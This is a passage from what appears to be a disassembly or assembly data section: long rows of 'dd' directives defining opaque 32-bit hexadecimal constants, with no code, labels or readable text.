7EE7A8FCh, 94508886h, 2B8450h dd 63E6B5B9h, 3AA77FC8h, 3BCA9100h, 34BD11C1h, 0D393022Fh dd 0CB9E2623h, 38FB6890h, 12448608h, 40D2649Ah, 0E038F401h dd 33BD0C93h, 2619C310h, 0C97E1307h, 3772BED7h, 56A4903Bh dd 0B3F60032h, 4688D3D1h, 3C495D6Fh, 653F44h, 2EC12370h dd 306097h, 1D82A783h, 0D2F1FD7Ah, 59A3BF00h, 79803C8Eh dd 0F0144C6Ah, 1F218807h, 0EF09013Fh, 90F9C82Dh, 1C81B916h dd 0EA293C04h, 81A73045h, 10BF0404h, 62778F11h, 0C9E0480Eh dd 23441468h, 0B82A2E26h, 2BC50200h, 92D894Bh, 7FD071BAh dd 48BEC882h, 0EDD29B20h, 20DF53C8h, 6447CC84h, 0D188208Eh dd 205B9AC0h, 3C3630C6h, 4E1DBB69h, 0C0CF19ECh, 0B0F00992h dd 11611624h, 8817B0D0h, 0E6A8142h, 0E0ECAF61h, 0B8032EEEh dd 0AD849FE5h, 0CA7901BEh, 7DB34554h, 586BCA89h, 10087962h dd 1B3C4837h, 288400F0h, 8273C207h, 9905603Eh, 838740B2h dd 0FA2A1CC0h, 0E4314CD5h, 28C3067Ch, 48CB27FDh, 30FC5F0h dd 43B77201h, 58FBE602h, 63113C28h, 0CAEC5092h, 1B81CBh dd 6F5126CCh, 0FE20C09Eh, 9DBAEC5Eh, 448E7400h, 89E97210h dd 0B0DB00AEh, 0F4C7A02Dh, 0FE07F7BFh, 8ADE75ACh, 335346B0h dd 0A3D00068h, 3CBF636h, 0BD1499FFh, 34442A28h, 0B081518Dh dd 31A42F23h, 93500680h, 26098075h, 7CF190Ah, 47C3B034h dd 9C18048Dh, 1D3D0FAh, 8A5F40EDh, 0FFDDF000h, 714F030Eh dd 8C8F4527h, 0F66F9421h, 0F5264030h, 5985C4FBh, 9D408C90h dd 0C3F783ADh, 1814E31Ch, 80C40D10h, 0DF4BE929h, 63EB03A0h dd 4F991A46h, 0F5F674A1h, 212982B3h, 812DC329h, 0B4AB3EF0h dd 0D1B084F2h, 8218F640h, 6CB94A36h, 505F2000h, 3981E046h dd 0A00005B2h, 0FE95E6E8h, 0B913DFA3h, 0EE9D6h, 0B7E38FF8h dd 0C88A700Ah, 87A52706h, 58BB0708h, 0C0C524B3h, 92A42860h dd 86187A62h, 0DD48C85Dh, 0BCFE5024h, 0DCC40F10h, 0A1262772h dd 860CF8B9h, 28B86673h, 0B0FF44B3h, 0BAFC2284h, 0AA115F42h dd 749C2201h, 0AC46000Fh, 48E33FA6h, 8207A043h, 1D05E2E7h dd 0B86A7C51h, 3C4CC2D4h, 120075B4h, 0B01AD851h, 0B3003EEEh dd 4EA38749h, 44E1E4h, 1C170FD0h, 85A9AF09h, 0A6F8CF00h dd 0B8746505h, 0FD640E0Ah, 3B2E6F54h, 7D1B1AE1h, 9141F4BCh dd 111C0831h, 2980D496h, 6D5DD07h, 0D700CA03h, 82E59A86h dd 7D1AA5h, 622AA03Ch, 0CD37A6EFh, 0D5AD2E00h, 297C4FF8h dd 977D40h, 0A1059D4Dh, 2BC0FAB3h, 0C604B77Dh, 62968307h dd 0C898F883h, 6038A91Dh, 53871875h, 0A576A673h, 0AD851900h dd 3F9160CBh, 0AE630043h, 0C9230132h, 0B039428Fh, 7C83E38h dd 0DAEAE176h, 3B1B51C0h, 0F62B00BDh, 8F93565Bh, 860E5D82h dd 4087259Ch, 5CBF1CA0h, 756E00A1h, 0F9A87B4Fh, 0F53CE813h dd 378D8FFDh, 0F778C079h, 0B45C84h, 0E253A198h, 9AD3B7C8h dd 0EA006C9Ah, 8244AE43h, 0E14BA6h, 7FEB081Fh, 1A846DBEh dd 20D25800h, 1CB49DB6h, 0B8F4F1CAh, 0F44CA82Ch, 2AF800EFh dd 0ACDD4990h, 92175C77h, 40D5AC2h, 1BE460E7h, 0ACCCA810h dd 0F3060034h, 8D4FB938h dd 23F549Dh, 84D88011h, 8063887Dh, 9C100A2h, 945DCD31h dd 67020C2Ah, 13975AB9h, 0F9D8685Fh, 5C920310h, 0DDC5F561h dd 86089B90h, 811CF200h, 0FEA3892Ah, 0F0C78ADh, 0BDBA788h dd 0F80307E3h, 8C5B73A8h, 7DED4200h, 7C6F55AEh, 0B3C00054h dd 0EBCC568Eh, 96000482h, 641A91A4h, 18E55160h, 0C8B06FB4h dd 9800EB62h, 906C85A7h, 0B55DE6h, 134ED15Eh, 1A573D63h dd 1500F0ECh, 3F259BA2h, 0D83632h, 0DDC6ACC1h, 0A93D2DCEh dd 0D010E78h, 84FCA72Bh, 79C4F622h, 54DB4825h, 48BD2103h dd 0B8002898h, 9612F327h, 11154Fh, 3C19AB16h, 0AE542CBh dd 5B98D4F9h, 0FBAE8E1Eh, 0E818F4C0h, 38F6D7Bh, 8A5DCABEh dd 46E6DF98h, 3BA6CF1Fh, 60DA5989h, 0C02A9Ch, 22C2C862h dd 845F64FFh, 1DE29E4Ch, 984038EAh, 0DD39D44Eh, 59D03C30h dd 0BC6C2E00h, 230ACC36h, 0A31C64F4h, 0FE016A87h, 18F3EC60h dd 2CC3E420h, 0D999BDh, 37B0E668h, 0C8F534F5h, 0AD04C0D7h dd 9F1045BBh, 20C3D890h, 377780E4h, 0D88E214h, 43A000D0h dd 0D282F9DFh, 6C8F0198h, 51F2AB77h, 4097E91Ch, 0EF085E98h dd 85943600h, 13CC3B18h, 194900E9h, 879D0D95h, 5000DDDCh dd 90FBD320h, 0BCA41BEh, 62309F2Dh, 578ACC00h, 83807734h dd 0D28C1D20h, 6F28401Bh, 0EC7E4B9h, 624A5800h, 0FDAEF2A8h dd 91370F44h, 7C0076F9h, 1A8FD895h, 293F3400h, 0C4A4CCB3h dd 6C27004Eh, 0AFCB5446h, 0E77C11EBh, 24006090h, 84CE2049h dd 789B3776h, 63C11FC7h, 0E644414Dh, 2470C9B9h, 0CC12EA94h dd 840773A6h, 7C604166h, 0EED3605h, 0BCA0BDF1h, 9FCEB102h dd 0C196E881h, 697834DDh, 4E00504h, 11819B1Eh, 1880870Ch dd 0D3020159h, 2200DBD0h, 0F07F376Ch, 0D7E478h, 341687EAh dd 0A3844760h, 2D0E5200h, 54A4F6FCh, 4D6B28FFh, 668E00D8h dd 7574F1D2h, 0DF002AADh, 0A5CDB63Dh, 20B4DC3h, 4A314C9Fh dd 80CBF4F3h, 7BCD2390h, 59005FFAh, 0D4F55315h, 0CC243Fh dd 0DA2A0A97h, 37922DF9h, 39BE194Ch, 28C4006Dh, 0E2A5131Ch dd 0EB4BF2h, 30383B1Ch, 9B00D3BAh, 0FC7157CDh, 0FF66Ch dd 0A9910663h, 0EF2CA1C6h, 2009EEAh, 643AF0AAh, 2ED88E48h dd 19E0CBh, 0CAC27C30h, 6C13FE53h, 0A2006942h, 9D589493h dd 985A5478h, 51F3004Bh, 6DB6386Bh, 0C33BB91Fh, 8822001Eh dd 5D4F4E24h, 2D3B07C7h, 0F1AA2180h, 0D78265E2h, 231F71C0h dd 1EC96B00h, 0DDBDF5EEh, 0D47E0069h, 0C8CE68FBh, 67260120h dd 8F00F461h, 33B288A2h, 99B31F4Bh, 1D814EB8h, 308DDAA0h dd 0CE023910h, 26BA2ECBh, 0F0106390h, 794FE365h, 0BD321879h dd 60941922h, 7A00A871h, 54CF8923h, 3C0EC1Eh, 52F3B8E9h dd 9F98D862h, 0CA01E1EFh, 1B50C6A2h, 0BC20B954h, 0E5F30219h dd 0B8C764D8h, 0FE32C880h, 1801CCF1h, 7C696F0Ah, 2299A6h dd 2D3AEB00h, 250C5D17h, 0AE12567Fh, 14A057AAh, 6CA01734h dd 8FA0073Bh, 307247C2h, 0D9FE9F88h, 0AD1FC100h, 4C1C13EBh dd 49DA00A0h, 6921550Ah, 0BC01E0C7h, 72A44EEFh, 0BED91440h dd 3EDBFD4h, 73F57B82h, 68B821B7h, 4A02543Ch, 79F14638h dd 7854403Eh, 3BC0050h, 0DD4BA919h, 971765A8h, 0E4405A82h dd 47E240AAh, 7FA30042h, 1F03DFE4h, 60BA7E84h, 54CE1900h dd 50B15DBAh, 0AE1800DAh, 4CB63BECh, 4F16A28Ah, 0A04023E5h dd 746CE07Dh, 3A80981Ah, 2EA23D43h, 7BB45200h, 0A176AB64h dd 0D6052403h, 0E0F2C44h, 6A0E796h, 0F2EE62C8h, 0C5E0A750h dd 0D693910Ah, 2300C8D0h, 6BCD67FBh, 0E3A21C6Eh, 0C08ED2DDh dd 4E3BCC24h, 1900CAF6h, 0A4858860h, 0D1660ED8h, 3A0DF848h dd 47319186h, 0F993A756h, 0E667020h, 0B376D679h, 0AF233501h dd 1E202CEh, 8E144080h, 0EC92661Eh, 1CB34C2Ch, 0B6CCBB84h dd 1A604C89h, 9CB40011h, 1E3491D6h, 0BB001851h, 3E9BCCA3h dd 24204828h, 9CCABC2h, 94802E44h, 0AEBAB4CBh, 0DFC5000h dd 74795727h, 9E61C0A2h, 883E813Fh, 0CF00AEF6h, 408FD1C1h dd 0E27760Fh, 7E99D244h, 0EEF68582h, 3E300472h, 0C2F7308Dh dd 0D7B000D1h, 9CE4CAC1h, 7000530Dh, 1CF673B2h, 26BC5FA8h dd 0EF64512h, 0D5803C6Dh, 0BBF08584h, 1F921E07h, 0ED907463h dd 606E9065h, 99C27901h, 0C107BFAAh, 1F118279h, 0B0ED4B40h dd 4AA70F5Fh, 75A37DE1h, 3BF887D0h, 2F12C8C7h, 41019D15h dd 2C391F16h, 26010038h, 0A8D3C2F0h, 867C407Fh, 0B80060A3h dd 0D77D209Dh, 6F2DDFh, 2A7BB302h, 13462980h, 2451DC4Eh dd 6186B804h, 7F5E89D8h, 8F1880C0h, 2D8AE762h, 0AD8900A4h dd 0C906BB24h, 0A300D071h, 9BF4095Eh, 64B99074h, 217529E9h dd 0F51173ECh, 0C6800F3h, 0FFE6005Ch, 9C83F96Fh, 220097D0h dd 0BC32363Ch, 7CE9AD5h, 0CA7E1B58h, 661C80D6h, 0BA037438h dd 540CA004h, 0EEA8A89Dh, 297F09F7h, 0D4804540h, 7077B7B1h dd 8660200h, 59C91AE8h, 0FDE2479h, 487E0458h, 65708356h dd 40A71D98h, 26CC5E00h, 1EF7D8D4h, 0E4710501h, 42B5565Dh dd 264A7F8Ch, 0D8AE48E8h, 0E2E1CA13h, 58833800h, 1D7A24h dd 0FCD69E8Fh, 56D55E0Eh, 28DF5Ch, 24FB9A1Ch, 454026Ch dd 0D70A2652h, 0E804C059h, 1F04D3B4h, 0FA9C81F7h, 0BBE73CD7h dd 0D52DE16Fh, 5AC5A506h, 71A7070h, 40B5BC7Dh, 772020EAh dd 0FC006E9Ch, 1F1A976h, 1774E59Bh, 0D68451Ch, 0C480DDA9h dd 0D7064B99h, 7971554h, 16400050h, 0E156E013h, 6D02779Ch dd 43F332B5h, 800065ECh, 0EEBDE00Fh, 8854184Dh, 0EB007D9Ch dd 0C12D6FD8h, 0B8A7C37Fh, 440B00E3h, 298E37Bh, 817909E1h dd 80E6613Ch, 41C7A6FCh, 32EF53h, 0DB95AD0Ah, 0F76D178Ch dd 0B60BF300h, 0F1652E93h, 8A72009Ah, 2C7DEA83h, 2400ED98h dd 23D43510h, 0E4BDB116h, 73E90442h, 802BAE74h, 0AFB234F2h dd 3767E00h, 69BE3670h, 0C6F409FDh, 0CA05282h, 0C96445BBh dd 0DBD72900h, 72B260FAh, 0EC4E541Dh, 0C88405ACh, 802E30A5h dd 673C3614h, 11397100h, 1A4F232Ah, 59CE0A32h, 9E01487h dd 700E0438h, 500E9E67h, 0A6C85317h, 94A97709h, 8688A0C7h dd 7923BE64h, 0C15B2E1Fh, 5FFA0078h, 0F9948E5Ah, 30F2F400h dd 2CD53996h, 8AF0FEh, 28925FC8h, 0C12BC766h, 0C612FF73h dd 0C3595Bh, 2780021Dh, 752FFE21h, 7B035050h, 60B23FE7h dd 0B0B0FC1Fh, 0FC67E6A2h, 560E27DAh, 4A517C02h, 0EFF6F0A2h dd 822FE680h, 84A1FEECh, 80D4E9F5h, 0C8FFA928h, 8BF30Bh dd 0A08263CAh, 0CC55DF1Dh, 0E6965B07h, 7DC0CB5Dh, 57AFCh dd 0B3BC11F9h, 0A631673Eh, 46207E00h, 0E4C7D7D0h, 0BF530043h dd 48592FB2h, 1339C264h, 804FBED8h, 0AF5F374Ah, 0F934526h dd 228F85A3h, 0BC5400D7h, 0E8DB5A8Bh, 2035010Ah, 0DA80AC1Ch dd 7278130Fh, 14AF0073h, 0B44ED410h, 0E8003AAEh, 849E484Dh dd 3C818DE9h, 0DE00A980h, 7BE70C1Ch, 7F1372BAh, 3CC05415h dd 289D10ADh, 0AC1E44h, 0CF4A6D73h, 0ED703930h, 0A22BD81Ch dd 7F2D7440h, 0F0132DDh, 27CA1CDh, 30E7AEA7h, 3A6319D3h dd 0A8467201h, 1F6D49B9h, 22F5BCCh, 0B002910Ah, 24C0DDEBh dd 7D00A96Bh, 3D22274h, 278DC8h, 9FA8EF04h, 97954610h dd 0AE74000h, 0A6F225DBh, 0B52C00C5h, 1AAC2FD9h, 41012610h dd 0B3EA0EBFh, 470BDBAh, 7C8C3AB2h, 8B16EC00h, 0D4908121h dd 5242602h, 40567169h dd 0F5BCE26Ch, 0CC27E4h, 0C5C47D78h, 0E8A20A96h, 3D6F3109h dd 0A1DCC111h, 3064E311h, 0E102D2BCh, 0A56FF426h, 0AD94805Ch dd 51B467Bh, 0C356B0F6h, 19A200EDh, 224E5E43h, 66BDEE09h dd 0D24400DBh, 0FD6D350h, 14D519A4h, 82A1803Eh, 0D937AA1Dh dd 88013890h, 0F1F67454h, 0E9C02531h, 7590439h, 808BFCD2h dd 0D646A58h, 7C9F5B17h, 0C61C4101h, 0D4204A80h, 998102A9h dd 2E8BDC92h, 58875C62h, 3BFDE18Ah, 0FAC140F0h, 740050A3h dd 0A5A4E943h, 62D9C5h, 0B6B9C110h, 2548F6B2h, 44A80250h dd 81EA0B39h, 4A319960h, 9064BB2Dh, 0BA890061h, 0CC7CE9AAh dd 0F10CADFEh, 38FA2A43h, 0D1D200A8h, 49DD8BE4h, 0A544ED69h dd 40E49839h, 43FA5C2Ch, 0BD29353Fh, 559C8171h, 610A0803h dd 6914834h, 4EFFAD69h, 6B00E045h, 19555B43h, 5059CAFBh dd 78D062h, 3AEF7901h, 896965B7h, 5B8D371Dh, 76E1F40h dd 3552A25h, 0B40B4C1h, 0F6982E01h, 4E00F5C2h, 1B15273Ch dd 0BADD6858h, 409B4E00h, 0B72D3B58h, 0CC2C9CD0h, 0F087A856h dd 8D506709h, 78FE494Eh, 9A512CA2h, 6B3881C4h, 38D18741h dd 0B32B0220h, 0C0480C5Dh, 4F3EDCCh, 0C34E3BF4h, 9368A08Eh dd 231A3984h, 5C000A4Ch, 8F8EB00Dh, 2BB06B9Dh, 9F583560h dd 36F3AFh, 1A4001C2h, 46C9FD05h, 1B274D12h, 9893EC00h dd 8FB4DFh, 0EDC1FEE2h, 76F27ECDh, 0A13015F0h, 8649F080h dd 23644496h, 0A318511Dh, 3FB5B3C0h, 3541459h, 0EE7AF7DEh dd 89B39178h, 85C1D7D0h, 0D8921A00h, 762F7C21h, 0C8E313C0h dd 0AA68400Fh, 84E63BB3h, 0C475FBA1h, 9B5F7C7Bh, 0B299DC42h dd 5C9C68D0h, 0BD2E0421h, 0C7ADE365h, 0B9305058h, 0B100E769h dd 376CEF33h, 0F173AFh, 74F72ABBh, 0F679A93Fh, 5C21C138h dd 859D0163h, 611F9002h, 6C5C1C29h, 0FC4DD06h, 0EF1F109Eh dd 9C05C6C2h, 1400361Fh, 0FCA2A4AAh, 0F9DF1833h, 2FEF08FEh dd 0B3035A00h, 0A23C797Bh, 58C0799h, 8E85BE3Bh, 5871DAC0h dd 0A825CFE7h, 264C25A7h, 73E32C3h, 0F1142B30h, 28691C30h dd 2FF0861Dh, 95030828h, 1681A727h, 504B9A29h, 808990F0h dd 0A2371E28h, 0E9F0EA54h, 5E03AA88h, 749BEEC8h, 0FB6F9407h dd 100F8E7h, 385DD239h, 8252E14h, 6B418C12h, 9843C1Dh dd 5C616Bh, 31EA4A72h, 0E66E236h, 235972FEh, 82D278A0h dd 0C10FE155h, 0A0BB4461h, 0B10DECC6h, 0DF4E0063h, 0FC285201h dd 0E800C362h, 3A64650Bh, 0D32139D5h, 73590030h, 1B45CBA7h dd 3594D0F9h, 4F80AC00h, 75EDD8F4h, 83E600F8h, 6FDAF2A1h dd 78005B9Ah, 923A1445h, 189D6CDh, 412AFAA7h, 0D89A8221h dd 0B40052ECh, 5AEFE9F2h, 53CFCEh, 84E8F592h, 6E878D90h dd 94442000h, 0AC8ADCBDh, 512604FAh, 0C090920Eh, 68F5AB9h dd 5B01DA00h, 755DF0ECh, 0CBFF007Eh, 0C76C1AD7h, 14962823h dd 0BE84BE5Ch, 0C3EF0453h, 26480A86h, 2F7DDD10h, 0CFDCC002h dd 0C6872401h, 8B11D47Ch, 0E161159h, 7614C828h, 877896Fh dd 0B40F44DEh, 0CB162284h, 69116342h, 10A02111h, 424F8890h dd 8C2415D2h, 12D0AF21h, 177D103Bh, 35087889h, 10DED445h dd 64891E2Ah, 12DBE909h, 23571013h, 28575089h, 58FF88C8h dd 847D914Fh, 50DEFE22h, 442914EBh, 22842826h, 0D742E1E7h dd 22294211h, 3A874B14h, 4F238800h, 0D64FCF00h, 0F03A56Bh dd 86E19140h, 0BE0AF929h, 6A00B87Dh, 41C731C1h, 0BD0199EBh dd 8F479E8Ch, 6BC835BEh, 49FD3C2Bh, 0C045C21Fh, 88501D7Ch dd 2427994Ch, 0A4C07F7h, 0BCE81A80h, 9DE0987h, 0EF8FB1D4h dd 0DF840B01h, 0E650803Eh, 4BDC1D6Fh, 6EF6803Fh, 0A620CC71h dd 0C1D32295h, 13447806h, 284B11h, 94F276F8h, 4C516F73h dd 0D8886017h, 90D7E900h, 0D1BF33h, 3860B35h, 0A1502416h dd 5BD82A00h, 4621E18h, 9EFC006Dh, 217EE987h, 97F429ADh dd 0E59A8A0Fh, 517F40D7h, 3CA25C50h, 7304AC8Eh, 0E02B3AC3h dd 110BFEACh, 85971E25h, 8500A361h, 0E0E580A2h, 991C0006h dd 5F6B799Fh, 761BA6DBh, 0EF38AAADh, 3BBB477Fh, 0CD7FACE0h dd 9C5000CEh, 0E4E7AD38h, 79001D15h, 3A97400Ah, 0B3E87Eh dd 18C89DF3h, 5B13CCAFh, 73AEE000h, 802C7248h, 32ED0EDEh dd 30AF0176h, 0DCBE0B20h, 0F507A54Ch, 2F393584h, 196B8660h dd 265781Eh, 0C2935C05h, 91805F28h, 638E9BD5h, 0F337F90Eh dd 5658A0FFh, 3A648B6Eh, 92A63E72h, 881B0024h, 0EBB46B23h dd 0BC07C02Ah, 0B2F0A600h, 168A40F9h, 0CEDC3B96h, 2E8F84DCh dd 0CBB22880h, 4B27C1A7h, 0BEE48065h, 0BCDE03h, 0A9EBAFD6h dd 91103C7Eh, 0AC631B00h, 0E9FDB6F5h, 15200007h, 6A60495Ch dd 0C1177B13h, 0CC76C2h, 455C0016h, 41D4C567h, 0CF097FBFh dd 13A1D46h, 5EB02730h, 803C0BDCh, 587B8C37h, 103BFD30h dd 0BAE32A6h, 110918F6h, 0C080E485h, 0DA5023BBh, 0DFD65405h dd 74924186h, 4F7879B0h, 0FA7DA5C0h, 0D2040ABBh, 0DABC9859h dd 534F3881h, 19CCBF8h, 6D79AEE1h, 285F0C61h, 739B00D8h dd 0F2C95CDFh, 660900ACh, 0AD84A603h, 7F075F5Bh, 6D06FB2h dd 15A101B0h, 7E110058h, 1909DDE2h, 761E9C96h, 5500525Eh dd 0C50518D9h, 2DF60091h, 70E4F207h, 2B00857Ch, 232F630Bh dd 0E543E9FEh, 2500B43Ch, 0CB751D4Ch, 620E50BDh, 0ACDFC4D6h dd 0FEE844h, 9657C22Fh, 33F55F92h, 9460F47Ah, 0BE6C2EE1h dd 0B1CA0734h, 8FB630A0h, 0B17CCA0h, 7F006A70h, 0E40408A3h dd 5DA43Eh, 6C63C0F1h, 1D66C292h, 82892A00h, 40967DEAh dd 0C888A829h, 85E4319Fh, 0F5C40818h, 1324396Ah, 50C01B09h dd 5C9B4AB7h, 0A0386887h, 1FF2AC09h, 355A5C81h, 8CC5065h dd 8500D8B0h, 32403036h, 673F6Dh, 0F5F4B7E9h, 0A6D1DAC7h dd 97907200h, 0F0D085Ah, 769E885Ch, 9300BA74h, 63B50C15h dd 48955687h, 0BF032830h, 88B9752h, 6A6E50F7h, 6F6A025h dd 0B8C1300Eh, 20FE8E73h, 725A64D9h, 0FFE9000Eh, 82754222h dd 0BF00B5B3h, 0A986F60h, 0F38A424h, 805AB840h, 0B419001Ch dd 44C75B8Eh, 0CC550500h, 7B1E0393h, 77720097h, 0A2E928ABh dd 860E84A0h, 20926AE8h, 1A4FA52Dh, 29F00098h, 0F1BAED7h dd 3403668Ch, 31A03722h, 6B4C88D9h, 0B97400C0h, 70DE027Dh dd 95004F07h, 0FEE9C2DFh, 251530Fh, 5D713F12h, 84F0B990h dd 0DB76AC00h, 79140ED6h, 0B2700F73h, 4C2E1317h, 0A080E7BFh dd 45E41DF1h, 800342F0h, 1EE04AA7h, 0B778D00Fh, 147E0E73h dd 161F7512h, 0DF480027h, 0BA2DB5D9h, 0AB54BFFAh, 5F0085C0h dd 0DE66DDC3h, 0F30A580h, 7AEF6938h, 59348036h, 95036D25h dd 0A11479B9h, 7F191D40h, 49C8D8F7h, 6E040129h, 0D066C08Dh dd 265A9080h, 0EFF5001Ah, 0E3B3B133h, 0A40ED8A3h, 208840ACh dd 25484E6Eh, 5A52004Dh, 0B234C8B8h, 0B100C272h, 8593B92Eh dd 48A30478h, 9E00ACA0h, 0DE7FCC6Ah, 430796D3h, 0C4F02254h dd 5E9D12C0h, 7D600AFh, 0EC11A66h, 19F26B8Ch, 9A50A300h dd 0F6D83243h, 897300E3h, 688DB971h, 0A9FE4A6Eh, 1C525800h dd 8B634956h, 5D3D0039h, 28FB2CA8h, 84002EC4h, 0C2AA32A9h dd 97B3B5BBh, 80A618A0h, 9F04A1C8h, 68CBAFC0h, 160030F8h dd 0AE6FDB18h, 0D1E777Ah, 0AC80DC4Ch, 46B041EAh, 16A57A84h dd 9288C9E2h, 5C43E484h, 0BB6782C0h, 0CC1C2000h, 975BC56h dd 0B4B58D9h, 357EC204h dd 0EFE88042h, 5E00BD79h, 1DF85612h, 0BEA6A9h, 66234068h dd 0D83AB71h, 0EEE75007h, 80478ABDh, 406E03D0h, 2E7B13A8h dd 0D2FB00B8h, 5C3EF49Dh, 94747D0Eh, 0C1634270h, 11D8602Dh dd 61EA009Bh, 0C5A1438Ah, 0E73855CCh, 0E2E503CFh, 0D99DB542h dd 86DD87DDh, 0F0420h, 627E2BE7h, 0AACADB3Fh, 68748400h dd 0C11E04F3h, 0ACDF48A1h, 0FC092F00h, 2CA27AEEh, 0D9FD300h dd 56A849E4h, 1E76F45Ah, 0C0AEFDA0h, 7FA5611Dh, 4BEEFC68h dd 0B01DF3F4h, 3B69F1h, 0B795062Bh, 0E5D18242h, 0FC1C5280h dd 0F13A7424h, 0F59D4300h, 57F221Eh, 18CF0061h, 6BED0EC8h dd 0A6004BE1h, 0B4A05854h, 244F13Dh, 8EA3712Ch, 0C840B7C8h dd 0AE007476h, 4BD70F13h, 1438ABB1h, 0DC4A4FEAh, 0C4210185h dd 0A887BAEAh, 6FB87930h, 57180282h, 0EFB11BD7h, 49013C56h dd 29A838ADh, 2017C820h, 682FEE12h, 889860E6h, 15320BD0h dd 0EB00116Eh, 0B73DEB80h, 643B3Fh, 902B9C57h, 17138ABEh dd 20ED10A9h, 7A82717Ch, 0FFCB390Eh, 385D8019h, 24BEA529h dd 39448EDh, 1CA70A25h, 2E9444B1h, 2B5C4C20h, 0F8904CF9h dd 0B262D900h, 1EED5A88h, 6F69F500h, 0BA2F3B49h, 5BAE003Dh dd 6DF02402h, 0E2004E74h, 0A5D2DD8Ch, 0F41C6Ah, 0D1665460h dd 8BC6EB11h, 623E1E00h, 0FD4C993Dh, 6BC42CE3h, 75370034h dd 67C5A6BBh, 80DA8A2Dh, 32BECB04h, 1EAE04B2h, 0ACEAF82Ch dd 0C970094h, 6F2FE6A0h, 0CD83253Dh, 763680E8h, 9B05BC00h dd 7D4B5911h, 24A0970Dh, 482EA3C4h, 0C73D2B00h, 62D890E0h dd 5A7F0B3Bh, 8480DC40h, 0FC1032Dh, 7A1A9200h, 35609DCFh dd 6B411E5Fh, 539B80C9h, 34ED458Bh, 15AD5D02h, 403EBDC0h dd 7A98B0h, 31B68428h, 0A72F6EF1h, 0D19874EAh, 1C0A47FAh dd 0C0D36AF7h, 12C8500h, 0E114D63h, 0C368B6DAh, 808DA425h dd 53DC12Bh, 0DC63EA03h, 0B88E3F15h, 0A420E6h, 0ECEE6429h dd 0ED2AF04h, 8300307Dh, 0B2CB74E4h, 0E2AB49CFh, 90120046h dd 4C587096h, 0F770A2C8h, 0E57B7500h, 6BD06AEBh, 0C4790042h dd 0F7A1990h, 0D907DBAEh, 0B225E29Dh, 9AF3CAF0h, 93A000D4h dd 0EA9796Eh, 4403DE0Ah, 0F2F7D578h, 0E1D1E9A5h, 84DCF6h dd 0D64C1C57h, 0E9007FEFh, 87E08D73h, 462C12h, 0AAC5AC22h dd 8E0B48BEh, 16E6BA3Ch, 0C480560Ch, 7FCAFF4h, 98148D43h dd 1A6FF0DEh, 69045351h, 0A8A7A175h, 2C752CB2h, 394D44Eh dd 0FD9F0D94h, 0B92F5298h, 0C709E4FCh, 88AC3626h, 183B945Eh dd 670FA40h, 0C8E300BEh, 0C2A33727h, 0A1DC1E7h, 0A740AEC7h dd 0FE501858h, 0FA1746Bh, 961EF8C6h, 9EC940DFh, 7626F429h dd 5F8690C0h, 4CA9AF49h, 800E503Eh, 0C9C04A5Ah, 0B2F9A48h dd 7582B603h, 0F98D9550h, 1EF09D93h, 0CCC3015Bh, 4F410E7Ah dd 0B817FF67h, 0D4000207h, 0C16186BCh, 0E05000F4h, 5619152Ah dd 0B7FA66h, 9BCCA730h, 2F400426h, 90DCC339h, 72F67C60h dd 5B15FC00h, 3D5A990Eh, 97780Ah, 0B3F8A65Dh, 4D5F44FAh dd 0C4DD9300h, 0BF372EE7h, 0B050E169h, 3F8F7F1h, 765E60D5h dd 34BBED11h, 1472FAC8h, 7707F471h, 0E7ADD555h, 7B081EC0h dd 73594C1Fh, 5D949700h, 2B57100Bh, 604C5500h, 6D3F5E34h dd 1FDA1FCBh, 0CEE4C1D5h, 0CEC74DC1h, 8283C454h, 4AC0EAFDh dd 7B3C0110h, 0C3A20A94h, 0C38087C2h, 7D46D8FEh, 0CFDCC519h dd 5DF86ECCh, 0D08304BFh, 0F0EC93DFh, 0D53EBDB4h, 4275A55Fh dd 7348C80Ch, 0FE30149h, 9B0ECB87h, 6D198442h, 2DC5B739h dd 4E7DB0F0h, 8038C415h, 0C6CF13E8h, 0C0780900h, 0A440BF8Eh dd 8B51CE6h, 0F8B989C4h, 0C19988C3h, 0D0013BE0h, 51900468h dd 0E66E618Eh, 84A0D9EBh, 7C5CF018h, 0F143A00h, 8B86DA19h dd 73A706D2h, 298CDE33h, 89456D00h, 6712B5DBh, 20480071h dd 0D55D6A38h, 0AD04ACC9h, 0A4C711CDh, 3E96ECE4h, 0E7808776h dd 3E2A4291h, 78009DAAh, 0F534B76Bh, 1F213745h, 0FB311851h dd 1D67238Eh, 2452D0E7h, 0C9D8809Ah, 79602146h, 93ECEB48h dd 0D3920094h, 0B7EA5271h, 85003BF4h, 44EE901Ch, 1B4E012h dd 0E1314616h, 0C45F411Ah, 2E0F93D3h, 0A043DF09h, 75667024h dd 0B7AC58D5h, 7892ED01h, 0C0E81077h, 0F40074FAh, 0E133BF6Ah dd 0E79C04E5h, 0C163Bh, 7D4F86CEh, 853FAB2Fh, 59DD8060h dd 48CF9CDFh, 426238C0h, 631BD980h, 9FE45A0Eh, 0B36F7A00h dd 2B73F130h, 0EEDF0081h, 0CC9CD533h, 1A72586Eh, 9A0E4A00h dd 7B3D2247h, 8C440078h, 579162B4h, 0CD00D46Ch, 301125DEh dd 16A3F5FDh, 49C6A7h, 0E20901E8h, 5118C5D2h, 0AA9E3F32h dd 8D640FC8h, 10C0493Bh, 0BF36CC88h, 81935425h, 0DF53B968h dd 92803FC1h, 8076CCBEh, 0EE249845h, 0AA16244Ch, 57BC4800h dd 796CB632h, 0BDDD00EAh, 1F63BEF3h, 7400CE47h, 7C31DFB3h dd 0F8166848h, 12580026h, 0A84A623Ch, 9D00FCB8h, 0DEAD94D3h dd 1CF0EB36h, 0C06F7F4Ch, 79D5DAEEh, 1B00CCA3h, 598CB1F6h dd 6BE8C9h, 2B23A67Ch, 9D6A3704h, 61005276h, 44683BB9h dd 2E5F906Ch, 81F440h, 3C5E834Fh, 5D39D16Ah, 8FF99629h dd 0B8ECA0h, 0ED9D54D6h, 0B2E76ADFh, 0FDA18200h, 0B93135B4h dd 39AE60ECh, 429F12BFh, 75C0B750h, 99894138h, 4D20930Ch dd 0F4DD16FCh, 6B900798h, 0B0EEA77Bh, 94D9A451h, 292B6F30h dd 90AE23Ah, 3B92EB58h, 10128C68h, 8F578D00h, 0E068899Dh dd 36B0082h, 7CF10765h, 61018EECh, 672BC971h, 0F453C476h dd 9863C88Bh, 1ED7004Bh, 0D357397Eh, 35006F1Fh, 0EAA9FBF7h dd 1033B88h, 3E530BA1h, 0C4CCEE94h, 0B0905DEFh, 0D10022F6h dd 1671C87Dh, 13F0903Ah, 18ACB54h, 0E5C6DCC5h, 0DB98E444h dd 21825800h, 603A5F8Bh, 4DD00E9Fh, 3827B50Dh, 4FE280D5h dd 0BA005BB4h, 